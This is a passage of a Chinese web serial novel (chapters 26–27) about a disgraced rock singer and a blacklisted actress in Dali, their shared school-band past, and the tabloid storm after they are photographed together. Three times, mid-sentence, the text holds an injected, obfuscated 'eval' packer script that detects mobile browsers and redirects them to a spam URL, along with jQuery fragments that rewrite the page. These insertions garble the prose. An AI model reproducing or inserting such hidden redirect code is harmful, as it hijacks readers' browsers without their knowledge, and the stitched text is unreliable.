他曾是那样耀眼,恃才傲物到令人发指。 后来,也是在那样一个燥热的夏天,天才陨落。 那是商颂这辈子见过的最狠的“局”。一场精心设计的仙人跳,让他背上了不可饶恕的罪名。解约、封杀、天价赔偿,所有脏水泼向他,将那轮太阳彻底浇灭。 最后的最后,是圈内流传的消息:祁演疯了,逃去了国外,有人说他在某次酗酒后跳了海,自杀身亡。 那是真正的死无葬身之地。 可现在,这个本该早已腐烂在异国海底的“死人”,正活生生地站在大理一个不知名的破酒吧里,像只斗败的公鸡,用那种高高在上又极其可笑的眼神俯视着台下的醉鬼。 “不想听就滚。” 他终于开口了,嗓音低沉、磁性,穿透力极强。不是声嘶力竭,而是像在他的吉他弦上最粗的那根,嗡鸣震颤人心。 “操|你妈的,装什么大尾巴狼!”醉汉被这种无声的轻蔑激怒了,抄起酒瓶就要冲上去。 祁演站在原地,连眼皮都没眨一下,只是那握着吉他琴颈的手背上,青筋微微暴起,昭示着这个男人看似平静的表象下,压抑着怎样的暴戾。 就在酒瓶即将砸出的瞬间,一只修长白皙的手按在了醉汉的肩膀上。 “他的酒,我请了。” 商颂将几张红色的钞票拍在桌面上。她摘下墨镜,那张素颜却依旧极具冲击力的脸在昏暗灯光下显得格外冷艳。 醉汉愣了一下,骂骂咧咧地拿着钱走了。 风波平息。台上的吉他声发出一声刺耳的尖啸。 祁演并没有看那个醉汉,他死死地盯着商颂,眼神像是在看一个突然闯入的怪物,又像是在辨认一个旧梦里的鬼魂。 半晌,他突然扔了吉他,吉他砸在木地板上发出“咣”的一声巨响。他摇摇晃晃地跳下舞台,一步步逼近商颂。 商颂没躲,安静地坐在卡座里。 他没有像疯子一样嘲笑,而是用那种仿佛早已洞悉一切的笃定眼神审视着她,眼神深处闪烁着那种天才特有的自负光芒。 “哟。” “金主没了,所以跑到这种穷乡僻壤来疗伤?”他挑起一边眉毛,修长的手指若有似无地敲击着桌面,每一下都敲在商颂紧绷的神经上。 商颂并没有生气。她从包里摸出一盒烟,抽出一支点燃,在烟雾缭绕中,她看着眼前这个修炼成精的男人。 “是啊。”商颂语气淡淡的,“我跪不下去,所以逃了。怎么,当年的SOLAR主唱,现在的……酒吧保安,是打算看我笑话?” “看笑话?”祁演直起身子,双手插在黑衬衫的裤兜里,那个动作让他看起来既慵懒又挺拔,“我哪有那闲工夫。我只是在想,连你也掉下来了,这世道,果然只配得上烂人。” 他说这话时,那种发自内心的孤傲简直要溢出来。即便是在这种阴暗的角落,他依然把自己当成俯视众生的神,只不过是个暂时落难的神。 “倒是你,”祁演的目光扫过她略显苍白的脸颊,带着几分玩味和某种惺惺相惜的毒辣,“三年了,那股子要把名利场踩在脚下的狠劲儿,倒是一点没变。落魄成这样还这副德行,不愧是我最讨厌的女人。” “你也一样。”商颂吐出一口烟圈,眼神里带着一丝赞赏,“三年前我以为你死定了。没想到,你把爪牙藏起来,变得更像个男人了。” 祁演不置可否,只是盯着她指间那点猩红的火光。 “给我一根。”他突然伸手。 商颂把烟盒推给他。 祁演抽出一根,没用打火机,而是自然而然地凑近商颂,借着她烟头上的火点了烟。 两人距离极近,那一瞬间,呼吸交错。 “商颂,”他在烟雾后眯起眼,声音低沉,带着一种经历过死亡后的平静,“这个地方不适合你。你身上的名利味儿太重,这里的鬼都嫌你吵。” “那你呢?”商颂反问,“你身上的味道就好了?一股子腐烂的傲气。” 祁演笑了一声,那笑声短促而沙哑。 “我本来就是个死人。”他指了指自己心脏的位置,“三年前就死透了。现在的祁演,不过是一具会弹琴的行尸走肉。” “巧了。”商颂举起酒杯,在半空中虚碰了一下,“我也是。” “在北京,商颂已经死了。现在坐在这里的,不过是具不肯闭眼的尸体。” 两人的视线在空中交汇,没有火花,只有那种同类相残后留下的疤痕,在隐隐作痛。 “既然都死了,那就别端着了。”祁演从商颂手里拿过那杯威士忌,也不嫌弃,仰头一口喝干,“喝完这杯,带你去个地方。” “去哪?” “去看看,死人是怎么活着的。”祁演将空酒杯重重地磕在桌上,眼中闪过一丝久违如同野火般狂热的光,“还有,让你听听,我给这个操蛋的世界写的悼词。” 大理的凌晨两点,偶尔从腹腔里发出几声犬吠。 那辆有些年头的大众在青石板路上颠簸,车灯切开浓雾,停在一扇挂着幼稚彩虹灯牌的卷帘门前。 霓虹灯有一半坏了,惨白与艳粉交织,勉强拼凑出“七色光少儿艺术培训中心”几个字。字体圆润可爱,透着股廉价的天真,在这个潮湿阴冷的夜里,显得既荒诞又讽刺。 “到了。” 祁演熄了火, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143468|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那双曾拨弄过数亿音响设备的手,此刻正熟练地哗啦一声拉开卷帘门。 商颂站在门口,裹紧了身上的披肩。她看着眼前这个墙上贴满蜡笔画和“好好学习”标语的空间,实在无法将它与曾经那个不可一世的摇滚主唱联系起来。 “别用那种眼神看我。”祁演没有回头,摁亮了日光灯。惨白的灯光瞬间将他那张硬朗深刻的脸照得毫无血色,眼底的乌青像是一种陈年的淤伤,“太阳神也是要吃饭的。这里的家长给钱痛快,一节课三百,不用假唱,不用陪笑。” 他走到角落的一架立式钢琴前,那琴有些旧了,琴盖上还贴着一张不知是哪个小孩留下的海绵宝宝贴纸。 祁演伸手撕掉那张贴纸,动作却并不粗鲁。他坐下来,随手弹了几个和弦,音色不算顶级,但从他指尖流淌出来的瞬间,这间充满了塑料感的教室,竟然真的有了几分令人窒息的艺术感。 商颂踩着高跟鞋走进去,那是名利场留给她的最后一点傲慢习惯,即便走在地胶上,也要走出红毯的气势。 “三百块。”商颂轻嗤一声,倚在钢琴边,低头看着他,“以前你的出场费是这一万倍。祁演,你什么时候变得这么容易满足了?” “人要是死了,就连三块钱的冥币都花不着。”祁演没抬头,手指在黑白琴键上游走,弹的竟然是一首变奏版的《小星星》,带着一种诡异的黑暗风,“能活着,喘着气,听着这帮没天赋的小崽子乱吼,也是一种……修行。” “修行?”商颂挑眉,“我看是苟活。” 祁演的手指顿住。琴声戛然而止。 他抬起头,那双深陷的眼窝里,幽暗的光芒像是要把人吸进去。成熟后的他,不再像只随时会炸毛的狮子,而更像是一条盘踞在暗处的毒蛇,安静,却危险。 “商颂,”他叫她的名字,声音低沉得像是在胸腔里共振,“你还是这么尖锐。怎么,被周彻当成岑星的替身养了三年,也没把你的刺磨平?” 提到岑星,空气里的温度骤降。 那个名字是他们之间最尴尬的纽带。三年前,祁演的那个“仙人局”之所以能做得那么死,据说最初的引线,就是他那位完美无瑕的白月光前女友——岑星。 商颂的指甲掐进了掌心。她不仅是岑星的替身,她更是那个圈子里所有人眼中的笑话。 “你也配提她?”商颂冷笑,“当初樊一健那个烂人设局搞你,拿走你的版权,抢走你的乐队,甚至还把你那个所谓的‘白月光’送上了别人的床。你不是不可一世吗?你不是SOLAR的主魂吗?为什么不澄清?为什么像条死狗一样躲到这里?” “SOLAR的鼓手樊一健,如今是各大综艺的座上宾,摇滚教父,风光无限。而你,祁演,你的名字现在只是营销号用来盘点‘那些陨落巨星’时的素材。” 商颂逼近他,呼吸喷洒在他脸上,“这就是你的‘还可以’?你的骄傲呢?被大理的风吹进洱海里喂鱼了吗?” 祁演没有动。 他看着商颂那张因为愤怒和不甘而染上薄红的脸。 “澄清?”祁演突然笑了,嘴角扯出一个极淡的弧度,“去跟大众解释,我没有迷|奸?去跟法官说,我的兄弟为了上位,在我酒里下了药?然后把岑星拖下水,让全世界知道她是这场交易的筹码?” 他站起身,高大的身影在灯光下投射出一道巨大的阴影,将商颂笼罩其中。 “商颂,这个世界是个巨大的垃圾场。我要是在那堆垃圾里打滚自证清白,那我跟樊一健有什么区别?” 他伸手,指腹极其粗糙,带着常年弹吉他留下的厚茧,轻轻蹭过商颂的眼角。 “至于岑星……她本就是天边月,我为什么不松手?难道要我也像周彻对你一样,用权势把她锁死吗?” 商颂愣住了。 她没想到祁演的理由竟然如此高傲。 哪怕烂在泥里,他也保持着那种令人厌恶又令人着迷的神性。他不屑于解释,不屑于同流合污,他宁愿用自我毁灭来完成对这个世界的蔑视。 “你说得好听。”商颂挥开他的手,转过身,“可你看看你现在的样子。这叫‘过得还可以’?祁演,你在自欺欺人。” 26. 第 26 章 GOD 祁演一直在自欺欺人。 记忆瞬间发霉、膨胀,拽着两人坠回那个充满蝉鸣、香樟与荷尔蒙的南嵘夏季。 五岁时,岑星和周彻的一次南下巡游遇见了祁演和商颂,四人建立起了初步友谊。 但更多的是祁演和他们的友谊,而非商颂这个小哑巴。 因为周彻的恶意恐吓,商颂短暂地消失在了他们的世界。 然而初中转学,商颂再次和周彻同班。那时候的她,脊背挺得像把怎么都折不断的劣质直尺,穿着洗得发白的校服,总是独来独往地穿梭在荣立中学的红砖墙下。 而在那堵墙的另一边,是祁演的世界。 荣立中学是一所阶级分层严酷的学校。这里有岑星那样自带柔光滤镜的老钱千金,有周彻这种行事张狂、把学校当后花园的世家大少,也有祁演——南嵘福利院出来的孤儿,却也是学校里唯一的“特权阶级”。 祁演之所以特殊,不仅因为岑星家族的资助,更因为他那股要把天地都烧穿的才华。他精于世故,却又热烈张扬,那张脸长得好,带着股没经过驯化的野气,笑起来时眼底像是藏着两团火。他是光,是热,是哪怕在垃圾堆里也要开出最艳丽花朵的野路子。 那是商颂最羡慕,也最无法靠近的模样。 所以她下意识地躲避这三人。 直到十六岁,SOLAR乐队成立的那个下午,学校旧礼堂的窗户大开,爬山虎疯长,绿得流油。 岑星坐在昂贵的雅马哈键盘后,白裙子干净得一尘不染,手指像跳芭蕾一样在黑白键上起舞;周彻漫不经心地挂着把贝斯,嘴里叼着棒棒糖,眼神却始终粘在别扭又缩在角落的商颂身上;樊一健兴奋地敲着那套凑来的架子鼓,满头大汗。 而祁演站在正中央,抱着他那把攒了两年钱才买到的电吉他,仰着头,脖颈上的青筋因为嘶吼而凸起,汗水顺着利落的下颌线滑落,滴在琴弦上。 商颂是被周彻硬拉来的。 “喂,听听现场,一千一场。”周彻那天把她堵在楼梯口,恶作剧地扯松了她的发绳。 商颂站在充满了乐器躁动声的礼堂里,感觉自己像个误入天宫的凡人。她手里紧紧攥着那一本卷边的教辅资料,却怎么也移不开眼。 她看着祁演。 少年的祁演发光得刺眼。他回头冲岑星笑,那种眼神里毫无保留的爱意与坦荡,像烈日下的海浪,铺天盖地。他们是金童玉女,是所有人眼里不需要剧本的偶像剧。 而商颂只是角落里的阴影,是被周彻用来打发无聊时间的“小玩具”。 她嫉妒岑星。不仅嫉妒她所拥有的祁演的爱,更嫉妒她那种不用为生计发愁、不用看人脸色的从容。 但她更嫉妒祁演。 祁演也是穷人,甚至比她更穷,他是无父无母的孤儿。可他为什么能活得那么潇洒?他精明地利用岑星家的人脉,却不让人觉得他在攀附;他接受周彻的施舍,却能反客为主变成兄弟。他在污泥里打滚,却始终让人觉得他是干净的。 相比之下,商颂觉得自己像阴沟里的老鼠,每一步都算计得小心翼翼,每一分尊严都要甚至为此付出代价。 那是SOLAR最快乐的时光,也是商颂逐渐在祁演眼里变得面目可憎的开始。 那时候乐队刚起步,为了凑演出服和乐器的钱,岑星和周彻这种富二代不在乎,但樊一健和祁演不行。祁演不愿意只用岑星的钱,他有他那高傲得可笑的自尊。 于是祁演带着他们去接商演,去酒吧,甚至去红白喜事上凑数。 也就是在那个阶段,祁演开始讨厌商颂。 商颂记得很清楚,是一次在地下酒吧的演出出了岔子。醉酒的客人闹事,周彻差点拎着贝斯砸人,岑星吓得脸色苍白,像只受惊的小鹿缩在祁演身后。祁演挡在所有人面前,那架势是要拼命。 最后是商颂站了出来。 那时候的她,也不过十六岁,却有着一种与其年龄不符的冷酷和圆滑。 她没有像岑星那样哭,也没有像祁演那样挥拳头。她冷静地从书包里掏出一包不知从哪弄来的好烟,递给那个领头的醉汉,低声下气地说了几句好话,又赔了一笔钱——那是她攒了一个学期的午餐费。 她甚至还让周彻道了歉。 事后,在酒吧充满尿骚味的后巷里,祁演一把推开了商颂。 少年胸膛剧烈起伏,眼里的火光几乎要将她烧成灰烬。 “商颂,你真浑。” 祁演字字诛心。他居高临下地看着她,“周彻是惯着你,但你就为了那一千块演出费,让他跟那种人低头?你是不是觉得只要给钱,让你跪下都行?” 商颂靠着满是油污的墙壁,揉了揉被推痛的肩膀。 她抬头看着祁演,眼神平静得像一潭死水。 “不道歉,你们就要被打,乐器会被砸。周彻如果进了局子,他爸知道了怎么想?岑星会被吓出病。祁演,这就是现实。” “去他妈的现实!”祁演一脚踢飞了脚边的易拉罐,铝罐在深夜的巷子里发出刺耳的声响,“我和他们不同流合污,那是我的底线!商颂,你看看你现在的样子,一股穷酸气,还非要学大人那一套油嘴滑舌。你以为你这样很聪明?你这样真的很丑。” 那时候的商颂没有反驳。 她只是低下头,掩盖住眼底那一闪而过的狼狈。 祁演不知道,她所谓的“油嘴滑舌”,是她在寄人篱下的家庭里练出来的生存技能。他不知道,她刚刚递出去的那些钱,原本是用来买练习册的。 他站在道德的制高点,用最热烈的理想主义,审判了她最卑微的现实主义。 祁演讨厌她。他觉得她虽也是穷苦出身,却早已失去了风骨。她像一种生命力顽强却长得扭曲的苔藓,为了攀附权贵,为了活下去,可以毫无底线地妥协。 尤其是,商颂长得不像岑星,性格也不像。岑星是易碎的水晶,商颂是砸不烂的铜豌豆。可周彻这个大少爷,偏偏喜欢用那种对待宠物般恶劣又带点依赖的态度对待商颂。周彻总是故意捉弄她,把玫瑰发卡放进她文具盒,在全校面前大声朗读她的检讨书,却又会在下雨天把车停在她面前,蛮横地命令她上车。 在祁演眼里,这不仅是周彻的恶趣味,更是商颂的堕落——她默许了这种带着羞辱性质的不对等关系,心安理得地享受着周彻带来的庇护。 其实祁演错了。 他不知道,那是少年时期最隐秘、最扭曲的一种平衡。 祁演羡慕商颂的坚韧与不同流合污——没错,在她看来,不因为周彻有钱就对他阿谀奉承,反而冷脸相对,才是真正的不同流合污。但在祁演眼中,她的每一次隐忍妥协,都是同流合污。 而商颂,看着台上那个光芒万丈、抱着吉他对岑星唱情歌的祁演,内心是溃烂般的羡慕。她羡慕祁演可以那么纯粹地去爱,那么张扬地去恨,不像她,所有的爱恨都要在算盘上打磨得光滑圆润,才能拿出来示人。 后来的日子里,商颂变得越来越像祁演讨厌的样子。 不久后,岑星被家里停钱,经济一度陷入危机。祁演想退学去打工帮她,被商颂拦住了。 商颂用最刻薄的话讽刺他:“你那点工钱算什么?你要真想帮她,就好好考个大学,用脑子赚钱。现在的你,除了那把吉他和一腔热血,还有什么值钱的?” 那次祁演差点真的打了她。他指着商颂的鼻子说:“商颂,你这辈子就是个没人爱的冷血动物。” 好在SOLAR火起来了。 但是他们却分崩离析。 回到现在,祁演盯着她的背影,半晌,从口袋里摸出一把摩托车钥匙,在手里抛了抛。 金属撞击的声音清脆悦耳。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151113|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你信也好,不信也罢。”他的声音恢复了那种懒散的调子,“今晚风不错。既然睡不着,带你去个地方。敢吗?” 商颂回过头,“去哪?” “去证明,我还活着。” 凌晨三点的环海西路,空旷得像世界尽头。 祁演的那辆座驾不是什么普通的机车,是一辆经过爆改的哈雷,全黑的车身像是某种未知的机械猛兽,排气管发出的轰鸣声在寂静的夜里如同雷暴。 商颂没有戴头盔,因为祁演把唯一的头盔挂在了车把手上,自己也没戴。 “怕死就抱紧点。” 他在轰鸣声中大喊,声音被狂风撕扯得支离破碎。 商颂坐在后座,双手紧紧环住他精瘦的腰。那一层单薄的皮衣根本挡不住他身体里传来的热度,那种硬邦邦的肌肉触感,和伯雪寻那种温柔的拥抱完全不同。 那是火,是岩石,是失控的力量。 机车在公路上飞驰,时速表上的指针不断攀升。 风像刀子一样割在脸上,商颂的头发在脑后狂乱飞舞,眼泪被风逼了出来,迅速向后飞去。 她看见了。 在那黑色的机车油箱上,用银色的喷漆极其潦草而狂放地写着一行英文: “GODISDEAD,I’MNOT.” ——上帝已死,我还活着。 这就是祁演的答案。 哪怕众神陨落,哪怕身败名裂,只要他的心脏还在跳动,只要他的血液还是热的,他就依然是自己的神。 这种中二、狂妄,却又极致浪漫的宣言,狠狠击中了商颂那颗早已荒芜的心脏。 “祁演!” 商颂突然对着空旷的洱海大喊,声音里压抑了太久的委屈、愤怒、迷茫,都在这一刻宣泄而出,“去你妈的周彻!去你妈的名利场!去你妈的命运!!” 前方的男人似乎听到了,他的身体随着机车的压弯倾斜,那是对死亡边界的试探,也是对生命的极致掌控。 他也吼了回来,声音粗粝而张扬:“没错!去他妈的!” 那一瞬间,商颂紧紧贴着他的后背,听着那如同擂鼓般的心跳声,产生了一种极其荒谬却又真实的归属感。 在这个放逐之地,在这个死亡飞车的背上,她是自由的。不是谁的替身,不是谁的金丝雀,只是一个陪着疯子发疯的女人。 不知骑了多久,天边泛起了鱼肚白。 祁演在一个能看见苍山日出的悬崖边停下了车。 引擎熄灭,世界重归寂静,只有两人的喘息声在清晨凛冽的空气中交织。 祁演从车上跨下来,他的发型被风吹乱了,那张硬朗的脸上因为兴奋而泛着微红,眼睛亮得惊人。他随手从路边的野地里折了一支不知名的野花,花瓣有些残破,但他毫不在意。 他走到商颂面前,将那支花别在她乱糟糟的耳发边。 “送你。” 祁演看着她,眼神不再是之前的嘲讽或冷漠,而是一种更为复杂深邃的东西。那是一种同样身处地狱的人,看着同伴时才会有的眼神。 “商颂,你看,太阳还是会出来的。”他指着远处苍山背后那抹喷薄欲出的金光,“不管昨晚多黑,它总会出来。虽然俗套,但很管用。” 商颂摸了摸耳边的野花,指尖触到了一抹晨露的微凉。 她看着眼前这个曾经不可一世,如今却愿意陪她吹一整夜冷风的男人,嘴角终于泛起了一丝真切的笑意。 “祁演,你知不知道,你现在的样子……” “怎么?是不是帅得想以身相许?”祁演恢复了那副欠揍的德行,从兜里摸出烟盒。 “像个刚出狱的流氓。”商颂翻了个白眼,却从他手里抢过打火机,“借个火。” 烟雾在清晨的微光中升腾,两人的影子被初升的朝阳拉得很长,几乎交叠在一起。 27. 第 27 章 那种氛围太好,好到让人忘记了这是一个充满窥探与恶意的世界。 就在两人并肩看着洱海日出,享受这难得的静谧时刻时,不远处枯黄的芦苇荡里,传来了一声轻微却又致命的—— “咔嚓”。 那是快门闭合的声音。 商颂和祁演几乎是同时转头。 他们都是在长焦镜头下活了太久的人,对这种声音有着一种本能的敏锐。 百米开外,一个戴着鸭舌帽的男人正慌乱地收起那管黑洞洞的长焦镜头,转身钻进了那辆不起眼的灰色面包车里。 面包车发动,扬起一阵尘土,飞快地消失在环海路的尽头。 商颂夹着烟的手僵在半空,刚升起的体温瞬间凉透。 完了。 祁演眯起眼,看着那辆远去的车,脸上那种短暂的温情瞬间消散,取而代之的是更加浓重的阴鸷。 他吐掉嘴里的烟,烟头在地上溅起几点火星,狠狠地踩了一脚。 “操。” 他低骂了一声。 “看来,这才是上帝给我们准备的……真正的惊喜。” 商颂回过头,看着那个在阳光下显得格外刺眼的“GODISDEAD”。 上帝确实死了。 但恶魔还在狂欢。 清晨七点,大理的熹微晨光才刚刚唤醒苍山,一张照片悄无声息地出现在了网络世界的角落。 起初,并没有人留意那个骑摩托车的男人是谁。 吃瓜群众的第一反应是——刚被金主封杀的“豪门弃妇”商颂,不仅没跳楼,竟然这么快就找好了下家? 照片拍得太好了,好得有些残忍,像是一记扇在所有等着看她笑话的人脸上耳光。晨曦微露的悬崖边,苍山的轮廓像一道青灰色的伤口。充满暴力美学的黑色重机旁,商颂衣衫单薄,长发凌乱地依偎在男人背上。而那个男人只有一个寥落的高大背影,夹着烟的手自然垂下,侧脸隐没在半明半暗的光线里,只透着一股浓烈又颓废的性感。 如果这是剧照,将是年度最佳海报。但作为绯闻,这是两张通往地狱的单程票。 【这男的谁啊?看背影不像之前那个富商老头。】 【估计是大理这种地方随处可见的混子文青吧,商颂现在也就配这种档次了。】 【等等……你们有没有觉得这侧脸的下颌线有点眼熟?】 【卧槽!有没有列文虎克?去看看他右手虎口是不是有一块暗红色的疤?如果是纹身洗掉的痕迹,那他妈绝对是那个人!!】 【???谁?楼上别打哑谜!】 【我也觉得像……他虽然瘦脱相了,但这那股子厌世的死人味儿简直一模一样……他是祁演?!前SOLAR的主唱祁演?!!】 【我靠!我想起来了!那辆车是绝版的“夜枭”,是祁演当年退圈前最爱的一辆!】 就像在平静的油锅里倒进了一碗冰水,识别出男人身份的那一刻,才是这场舆论海啸真正的开始。 那个在网上早已被宣判“死刑”甚至“物理死亡”的前顶流主唱祁演,诈尸了。 而唤醒这具尸体的,竟然是刚刚被金主封杀、正在风口浪尖上的“弃妇”商颂。 舆论发酵的速度令人咋舌。那不仅仅是吃瓜群众的狂欢,更是一场裹挟着窥私欲与审判欲的围猎。 几乎是在照片曝光的半小时内,祁演这三年在大理的底细被扒得干干净净。 没有隐秘的才华试炼,没有卧薪尝胆的复仇筹码。 有的只是令人咋舌的落魄与荒诞。 【有人在大理古城的某个破烂培训班见过他!就在下鸡邑村那边,挂着个彩虹牌子,好像叫什么七色光。谁能想到当年站在鸟巢开演唱会的祁演,现在教六岁的流鼻涕小孩弹《两只老虎》?】 【我去,我也刷到过!那个人态度巨差,有家长投诉说老师像个□□,上课还一身酒气,原来是他?】 【什么□□,那是落水狗。听当地人说,他住在个没有暖气的自建房顶楼,经常半夜发疯骑摩托车鬼叫。而且听说他……早就废了,嗓子被酒精烧坏了,手也不行了。】 【真的假的?太惨了吧。但我怎么记得三年前那件事好像还没有实锤?】 【楼上圣母闭嘴。苍蝇不叮无缝的蛋,而且他和商颂搞在一起,能是什么好货色?这两个人一个是过气烂人,一个是被人玩腻的破鞋,凑在一起还真是绝配——绝地求生配。】 各种真假参半的消息被像泔水一样倾倒在评论区。祁演那几年努力想要在阴沟里建立的一点平静生活,被强行掀开了盖子,暴露在阳光下暴晒、腐烂,散发着供人娱乐的恶臭。 视频里那个对着小孩不耐烦地按琴键的男人,那个蹲在路边摊吃米线的男人,那个穿着起球的毛衣提着大桶纯净水的男人。 这些碎片被拼凑起来,构成了一个关于“天才陨落”最恶毒的笑话。 宽阔的红木办公桌后,周彻正把玩着一只精致的白瓷茶杯。杯中的大红袍冒着袅袅热气,茶香幽远,却压不住满室几乎凝固的寒意。 平板电脑被扔在桌面上,屏幕还亮着,定格在那张“日出狂欢”的照片上。 画面里,苍山负雪,洱海吞云。那个他以为已经被剪断了翅膀正躲在角落里瑟瑟发抖等待他救援的女人,此刻正坐在另一个男人的机车后座上。而那个驾驶机车的男人,即便只有一个背影,周彻也能一眼认出那股仿佛被烧成了灰也依然烫手的桀骜不驯,着实令人生厌。 祁演。 周彻眯起狭长的眸子,手指在瓷杯边缘缓缓摩挲,力道大得仿佛下一秒就要将其捏碎。 他算无遗策。他算准了商颂的骄傲受不了封杀的屈辱,算准了她会因为伯雪寻的坠落而心怀愧疚,甚至算准了她走投无路时大概率会逃往南方。 但他唯独没算到,这世上真有孤魂野鬼能借尸还魂。 那个三年前就被权力的车轮碾碎在烂泥里的“天才”,竟然还在喘气。不仅活着,还在这个节骨眼上,精准地接住了从神坛坠落的商颂。 “祁、演。” 这两个字在他舌尖滚过一圈,带着森然的冷意。 如果说伯雪寻是他随手可以捏死的蚂蚁,那么祁演就是他喉咙里那根卡了三年的刺。不仅仅因为祁演曾是岑星拼了命也要护着的人,更因为祁演身上有种周彻用钱和权势永远买不来的东西——那种在毁灭中重生的生命力。 那是商颂一直渴望,而周彻一直试图在她身上扼杀的东西。 门被小心翼翼地敲响,助理战战兢兢地探进半个身子,“周先生,公关部问,关于商小姐的热搜,还要继续压吗?还是……” “压?” 周彻松开手,瓷杯发出一声清脆的撞击声。他冷笑一声,身体向后靠进真皮椅背里,眼底翻涌着晦暗不明的风暴。 “为什么要压?既然她这么喜欢和鬼混在一起,那就让她看看,什么叫真正的人鬼殊途。” 他抬起手,指着屏幕上那行狂妄的“GODISDEAD”,“把祁演那些年的烂账都翻出来。既然要叙旧,那就热闹点。另外——” 周彻的视线落在角落里那个渺小的“APRICITY-伯雪寻”的名字上,嘴角勾起一抹残忍的弧度。 “告诉那些还在观望的资方,商颂这次要是不服软,那就是我周彻无能。至于那个还在替她背黑锅的小爱豆,不用留手了,让他彻底烂在这个冬天吧。” 他倒要看看,离了他周彻的金丝笼,这两个抱团取暖的疯子,能在那片名为自由的荒原上活过几天。 与此同时,北京,寻星娱乐总部。 不同于外界想象中的愁云惨雾,那间常年拉着百叶窗的总监办公室里,此刻正弥漫着一种诡异而亢奋的气氛。 伯雪寻坐在沙发上,脊背挺得笔直。他那张常年精致完美的脸此刻眼下青黑有些明显,显得整个人更加清瘦破碎。 但他面前的那个中年男人——寻星娱乐的老板翟海良,脸上却挂着某种精明商人在看见巨大商机时特有的贪婪红光。 “雪寻啊,”翟海良掐灭了手里的烟,绕过办公桌走过来,以前所未有的亲热姿态拍了拍伯雪寻的肩膀,“你这步棋,虽然险,但是……不得不说,妙啊。” 伯雪寻微微偏头,神色平静中带着一丝不解,“翟总,您的意思是?” 解约函已经在昨天拟定好了,他甚至已经做好了背负巨额违约金、彻底退圈去便利店打工的准备。那段夜场视频足以摧毁任何一个标榜“正统偶像”的艺人,这一点他很清楚。 “解约?谁说要解约?”翟海良大笑一声,把那份原本应该用来宣判他死刑的文件扫进垃圾桶,取而代之的是递给他一份全是英文的新合同。 “看看这个。” 伯雪寻接过文件,目光扫过首页的LOGO,瞳孔微微收缩。 T.E.A.MGlobal。那家在欧美以运作“独立亚文化偶像”闻名的跨国经纪公司。 “现在的内娱环境你也知道,虽然那段视频把你毁了,国内这些品牌方那是没办法,必须得割席。”翟海良搓着手,眼里精光四射,“但是墙内开花墙外香啊!那段你在LiveHouse里满身大汗、颓废迷离的视频,被几个外网的博主搬运到了Twitter和Ins上,你猜怎么着?” 翟海良调出手机界面,递到伯雪寻面前。 只见外网的话题广场上,那段被国内视为“黑料”的视频,配文全是惊叹。 #FallenAngel#(堕落天使) #RealRockStarEnergy#(真正的摇滚巨星能量) #ChineseIdolBreakingChains#(打破枷锁的中国偶像) 评论区里没有漫骂,反而是铺天盖地的着迷: 【这眼神太绝了,充满故事感。】 【比那些像是流水线生产出来的假人好一万倍,他像一朵开在淤泥里的罂粟。】 【听说他是被陷害的?这种美强惨的人设我简直爱死。】 “APRICITY原本走清新路线在欧美没市场,但现在不一样了。”翟海良兴奋地指着合同,“他们看中了你这种‘破碎感’和‘争议性’。我们的意思是主攻海外市场。韩国的练习室都准备好了,下周就飞首尔,然后去洛杉矶集训。” 伯雪寻愣住了。 他看着那些英文评论,心里升起一种荒谬却又真实的解脱感。 周彻用道德的大棒想要在这个传统的环境里杀了他,却阴差阳错地将他推向了一个不再用“道德洁癖”来审视艺人的宽广世界。 这就是命吗? “雪寻,这是一次翻身仗。国内骂得越狠,你在外网的热度就越高。”翟海良用力握了握他的手,“只要你在海外站稳脚跟,拿了几个有分量的奖回来,到时候国内这帮墙头草还会把你捧回神坛。这叫‘出口转内销’,懂吗?” 伯雪寻垂下眼眸,长长的睫毛遮住了眼底复杂的情绪。 他在乎的从来不是什么神坛,也不是什么奖项。 他在乎的,是自己终于不用变成一具连累她的尸体。 他抬起头,那双清冷的眼里终于又有了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156920|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝光亮,那是绝处逢生的坚韧。 “翟总,我签。但我有一个条件。” “你说!别说一个,十个都行!” “我要提前预支未来三年的签字费。”伯雪寻拿出手机,指尖在那个熟悉的号码上悬停了很久,“还有,今晚关于商颂的所有舆论风向,公司能不能动用海外的水军帮忙搅混?” 翟海良愣了一下,随即露出一个心照不宣的笑容,“你这孩子……行,这钱我批了。至于舆论,不用你说,蹭这波热度对APRICITY出海也是好事。” 大理的夜晚总是来得很早。 窗外的洱海隐没在夜色中,只剩下零星的渔火。商颂坐在那个只有三张桌子的米线店角落里,面前那碗热气腾腾的米线已经凉了,油面凝成了一层发白的死皮。 手机就在桌面上,屏幕碎了一角,那是下午看到热搜时没忍住砸在墙上留下的勋章。 